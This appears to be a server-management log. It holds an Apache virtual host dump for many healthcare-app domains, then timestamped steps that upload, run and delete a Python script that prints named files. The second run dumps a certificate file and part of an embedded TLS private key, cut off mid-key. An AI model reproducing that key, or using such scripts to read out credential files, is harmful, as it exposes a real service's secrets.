         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-28 06:00:59: 

PUT: /tmp/pkp822719

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_cerner_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-28 06:00:59: 

chmod 755 /tmp/pkp822719; /tmp/pkp822719; rm /tmp/pkp822719

2026-06-28 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf	1680

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-28 06:00:59: 

PUT: /tmp/pkp475128

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-28 06:00:59: 

chmod 755 /tmp/pkp475128; /tmp/pkp475128; rm /tmp/pkp475128

2026-06-28 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt	7440
f4:f3:c2:39:e1:d6:7b:26:60:35:4f:b7:1a:0f:c5:a9

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBUiI22Wy1qLRoQit7T7hj79fMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI4MDUwMjI3WhcNMjYwOTI2MDUwMjI2WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAq9/jYUWs0ZUoazHfm6lLvuR6L2ykCdZh/Jqu4ZH1Ftp3Bv9/1TBw
qtQ8yYiWkORkduHeTFLMLzdMhcwZOFgcT8kpJBAR6UpHGaCqwY9GYUtIx6KxOjiy
8CMiqUEb5PzhzbvDdehMIh2bBWObi6RRkcgDHwNeSaXua/HApWGV0StrPnnh/R61
RqODUOur2+nzR/DTmGremgRrdij4EGjnIKeLnK0WJVUqCFegL44Vy7YAVpAl2FTt
azJQfYjVtZmn6x+hBapDuRYygagRmbuH2/REqc/1xdbXHd4cVeRkmKWdtK5XzOd+
qWoMT6cHI31g+3Wsqff0O24GA9YXZSPf/QIDAQABo4ICJjCCAiIwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFE+CmAgjFJxBD2oyEavFuoH0jghBMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGu
eSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3ly
MS5pLmxlbmNyLm9yZy8wIQYDVR0RBBowGIIWY2VybmVyLnBhdGllbnRhcHBzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
eXIxLmMubGVuY3Iub3JnLzk2LmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3
AMijxH/Hs625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABnwzRF4YAAAQDAEgw
RgIhAIxufdsWjm0dbOgmCTiioAc4oDFMljrm1g0BXwNSfHLQAiEA4n6y+OnLsrrJ
H3SGVspNDEUsXFzpTiRjWXFmsLeHj4QAfwAai51rD/6/gbR5OcbSMQqG1tEC1PBG
4hgsneNfXiYl7wAAAZ8M0RotAAgAAAUAI936owQDAEgwRgIhAPntYUwe2vaCdBfm
9wRR/+Q503oBaSYEhqei6t376IlJAiEA3meWc7FxXUMoIvDoWN4mb6zUkjzYoHqR
Etjry79yorYwDQYJKoZIhvcNAQELBQADggEBACizcvqsJL+5P41gZHtTzDv2boNg
pdgBKoy0QR86xidsAvukcw8Gs5KMaOuUhsEwbTNCSM7rvpJA6nLIFPaQxwDOmFmd
74uG4uUOHxZ/VDalvId8ATnKv1inxWIAxhcAU/2i32Uve2STcMwg0MQWV4kK2AWQ
t1S2kj3T2ndxYuUQPlaeMa/xNhWZdo7MhQ7D/Lu758d7iCmu8jwaAqnux9l09Onm
MUqD2J8oxihJqakxux4Soyo1GpxUGqHpb5wFjaN/4AECJprIfzPLhhD0ZUPuUiRj
PVVZsxLtxNX892SrvpPXNThuP5WsS6tw5s1cVF3F8AlH2Y91zN1GXa58ZPk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCr3+NhRazRlShr
Md+bqUu+5HovbKQJ1mH8mq7hkfUW2ncG/3/VMHCq1DzJiJaQ5GR24d5MUswvN0yF
zBk4WBxPySkkEBHpSkcZoKrBj0ZhS0jHorE6OLLwIyKpQRvk/OHNu8N16EwiHZsF
Y5uLpFGRyAMfA15Jpe5r8cClYZXRK2s+eeH9HrVGo4NQ66vb6fNH8NOYat6aBGt2
KPgQaOcgp4ucrRYlVSoIV6AvjhXLtgBWkCXYVO1rMlB9iNW1mafrH6EFqkO5FjKB
qBGZu4fb9ESpz/XF1tcd3hxV5GSYpZ20rlfM536pagxPpwcjfWD7dayp9/Q7bgYD
1hdlI9/9AgMBAAECggEABplYxVgTv9NCg0UdsQARxrFGiLIa5T7MMdLtkn8UYi1+
ou/l5FVRChoOgG1kXIlMWy0maBdIvCpbH4r7z+hAJAcU84vDaEngC3mZ/McHvH4T
vAiA1fut0R8EOmvjyom0EL5cDZee7rNky5LsurKTKC3+Aq+SK/E5Q387do4V3rtE
HUChWCnAH80ni29WjbKiKzhI/MLpL59KpcWWZWkDOGYF4C5Cz86/Rt1pvj0uOuns
FN9lTu81qU4a4f+QTZm+8ja2H3wGNqPVM6cr4wCOYv6NeYsqiYbLqp/vPIJVyipv
V0joQES3CvEp8E3KkYTxRRhL5NkCrV6zRrL4XoivaQKBgQDlk4WBJ3+P+phTy+Pk
pfgQXaoqgMOy+hg5st+BlvXiWvWDRfBr5OeJnBBchT85YcXhYcj4k+716qx46pLR
Xm167VZL+ok3XIsaVQzOw141DZtovtWeyRp/+mSsAQt68AEq84lxfPLAI8NxZgX0
DOpvI6TEKKxqhVEvcEBBgQLPlQKBgQC/qC7KtvATNSzM7P5rXMo/Tw2J4Rsh58Cf
bkKnlsjl9Ffjvjd9Z0LPvthvOCo8+sxivCmqunBVm90J2RB9PYEFZMfmJ189yjAA
5yhEUgIgQx+14hy+o640Wh+KlfPrXOAD/VKgp4FxT9Xf+JY6GUteFtYfm3ohuJ4i
Gi+bSgpUyQKBgQCTXUKRSR1k+mLVR0ed+btmJfmZFtaICGmMf/lgYdqr1d9KyJYv
a9wERR1rhkyzNMOkjPRIPA1j5aOYalqb8pUsFzURyFxUIR9ZY8a44keSno1nizfs
